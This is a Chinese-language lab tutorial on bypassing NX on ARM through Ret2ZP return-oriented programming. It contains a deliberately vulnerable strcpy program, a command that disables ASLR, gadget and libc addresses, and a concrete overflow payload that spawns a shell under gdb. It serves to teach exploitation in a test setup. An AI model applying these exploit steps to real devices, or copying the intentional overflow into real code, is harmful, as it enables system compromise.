ARM 架构—探究绕过NX的一种方式Ret2ZP

robots

 

0x01 前言

ARM 指令集架构,常用于嵌入式设备和智能手机中,是从RISC衍生而来的。并且ARM处理器几乎出现在所有的流行智能手机中,包括IOS、Android、Window Phone和黑莓操作系统,并且在嵌入式设备中经常出现,如电视机、路由器、智能网关等。ARM和x86指令集架构先比,ARM由于起精简指令集,具有高效,低耗能等优点,可以去确保在嵌入式系统上提供出色的性能。

 

0x02 缓冲区溢出原理

缓冲区是用于保存数据的临时内存空间。缓冲区溢出通常发生在写入缓冲区的数据大于缓冲区大小时,由于边界检查不足,缓冲区溢出并写入相邻的内存位置,这些位置可能是一些重要的数据或返回地址等。

并且局部变量一般来说在程序中是充当缓冲变量或者缓冲区。

在缓冲区溢出中,我们的主要目的是用一些手段来修改返回地址,通过控制链接寄存器(LR)来控制程序执行流。

一旦我们控制了返回地址,返回地址将赋值给PC寄存器,劫持了PC,你就掌控了一切。

 

0x03 ARM 和 X86 对缓冲区溢出利用的区别

当一个程序开启NX保护之后,X86 架构下,首先想到的是Ret2Libc 来绕过NX ,篇幅有限,这里Ret2Libc就不展开说了。

但是在ARM架构中,Ret 到 Libc 是无法做到的,因为在ARM处理器中,函数的参数是通过寄存器传递的,而不是如X86,函数的参数通过堆栈传递。因此在ARM实现和x86 中Ret2Libc一样的效果,我们需要将参数放入到寄存器中。

这里使用到了Ret2ZP技术(Return To Zero Prevention)

举个例子,我们在栈溢出利用中,一般的思路是构造gadgets,来执行system(“/bin/sh”) 来获取shell。 但是在构造gadgets, 需要将 “/bin/sh” 传递到system 函数执行时调用的寄存器R0中。

这里在 Ret2ZP 中常用的在libc 中的gadgets 有以下这些,是实际利用时,并不是每个都有用,选在实际环境中可以使用的就行。
erand48

lrand48

seed48

 

0x04 环境搭建

这里使用的的Raspbian 虚拟机,下载安装方法搜索引擎有很详细的文章。这里说明一下我搭建过程遇到的问题。

首先是在Raspbian 虚拟机中 下载gdb , 建议手动编译。因为apt 下载的gdb 是版本小于8.1。在实际gdb 调试会出现如下图所示问题

解决方案:这是gdb 因 ARM 程序内存损坏而造成的错误,最好的解决方式是安装gdb-8.1版本。https://github.com/hugsy/gef/issues/206

编译完之后。运行gdb 会出现如下错误

Python Exception <type 'exceptions.ImportError'> No module named gdb: 
/usr/local/bin/gdb: warning: 
Could not load the Python gdb module from `/home/pi/gdb-8.2/=/usr/share/gdb/python'.
Limited Python support is available from the _gdb module.
Suggest passing --data-directory=/path/to/gdb/data-directory.

解决方案:这是因为在编译的的时候需要指定编译环境是python3.5,默认是2.5,因此需要 ./configure —prefix=/usr —with-system-readline —with-python=/usr/bin/python3.5m 。

在编译的过程中还有可能会出现如下图所示的缺少库文件 “/usr/bin/ld: cannot find -lreadline “

解决方案:sudo apt-get install libreadline6-dev

然后就是安装gef 插件了。QAQ

 

0x05 缓冲区溢出实例

1)漏洞代码

这里用一个最简单的代码来学习Ret2ZP技术,并且缓冲区溢出点特别明确,有strcpy函数将输入的大于buf分配内存大小的参数传入到固定大小的buf缓冲区,从而造成缓冲区溢出。

漏洞代码

#include <stdio.h>
#include <stdlib.h>

void do_echo(char* buffer)
{
    char buf[10];
    strcpy(buf,buffer);
}
int main(int argc, char **argv)
{
    do_echo(argv[1]);
    return(0);
}

关闭ALSR保护

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

编译代码

pi@raspberrypi:~$ gcc -fno-stack-protector echo_arm1.c -o echo_arm

查看编译后文件的保护情况。

2) 确定溢出点并计算偏移

使用gdb 打开文件调试,并且查看文件中函数的汇编代码,如下图所示。

利用pattern.py 生成字符串

这里在do_echo 函数的0x00010468处打断点。

运行程序并将pattern生成的字符串输入可以看到在执行到0x00010468处,R11寄存器中值是”a5Aa”,接下来计算出栈溢出的偏移地址

经过计算,buf缓冲区溢出到返回地址需要16个字节,也就是说劫持PC寄存器需要16个padding。

3) 构造ROP Chain

这里利用seed48代码片段,当然也可以用我上面说的lrand48。这里使用seed48比lrand48 的gadgets 要复杂一点点。

可以看到R11寄存器后的值

查找system函数地址 0xb6eab154

查找“/bin/sh” 所在的地址 0xb6f91944

构造ROP chain 如下图所示,根据 ARM 的特性,system 函数需要的参数需要R0寄存器传入到 system。因此需要将 “/bin/sh” 字符串的地址放入到 R0 寄存器中,这里 gadgets1 首先将栈上 “/bin/sh” 的地址传入到R4寄存器中,由于在 gadgets2 中 R0=R4+6 ,因此这个时候需要0xb6f91944 减 6 ,然后在PC寄存器中放入 gadgets ,在执行 gadgets2 的过程中,会把“/bin/sh” 正确的地址传入到 R0,然后输入 padding(“DDDD” ) 传入到 R4 , 再执行system 函数从而获取shell 。

这里在构造的 payload 的时候,需要注意大小端的问题,这里文件是小端的,在小端字节序中,最低有效字节存储在最低地址。

AAAABBBBCCCCDDDD\x88\x30\xea\xb6\x3e\x19\xf9\xb6\x84\x30\xea\xb6DDDD\x54\xb1\xea\xb6

将构造的payload 发送过去

 r `printf "AAAABBBBCCCCDDDD\x88\x30\xea\xb6\x3e\x19\xf9\xb6\x84\x30\xea\xb6DDDD\x54\xb1\xea\xb6"`

可以看到栈上成功覆盖到我们构造的payload

继续往下执行就可以拿到shell

 

0x06 总结

Ret2ZP 技术,和Ret2lib的原理相差不大,但是由于ARM处理器的特性,函数执行的过程中,需要从R0~R3寄存器中获取参数,因此在构造ROP的时候,需要多考虑一点是将函数参数的值传入到R0~R3 寄存器中。

(完)